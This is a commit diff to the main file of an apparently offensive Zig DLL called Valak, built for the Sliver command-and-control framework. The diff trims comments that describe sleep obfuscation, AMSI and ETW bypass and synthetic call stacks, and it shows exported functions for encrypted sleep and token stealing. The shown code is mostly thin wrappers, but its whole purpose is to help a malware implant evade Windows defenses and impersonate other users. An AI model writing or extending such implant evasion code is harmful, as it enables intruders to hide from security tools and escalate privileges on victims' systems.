valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

evasion/main.zig

@@ -1,7 +1,4 @@
-// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
-// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
-// Follows Windows x64 ABI.
-
+// DLL exports for the Sliver Go bridge.
 const api = @import("api.zig");
 const syscall = @import("syscall.zig");
 const frames = @import("frames.zig");
@@ -48,13 +45,10 @@ export fn is_relocated() bool {
     return stomp.g_evasion_relocated;
 }
 
-// Tell the DLL where the host implant's .text is for encrypted sleep.
 export fn init_text_region(base: [*]u8, size: usize) void {
     sleep.init_text_region(base, size);
 }
 
-// DllMain calls into here from the asm trampoline. Synthetic callstack frames
-// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
 export fn evasion_sleep_inner(ms: u32) void {
     ensure();
     sleep.evasion_sleep(ms);
@@ -77,7 +71,6 @@ export fn steal_token(pid: u32) bool {
     ensure();
     return token.stealToken(pid);
 }
-
 export fn rev2self() bool {
     ensure();
     return token.rev2self();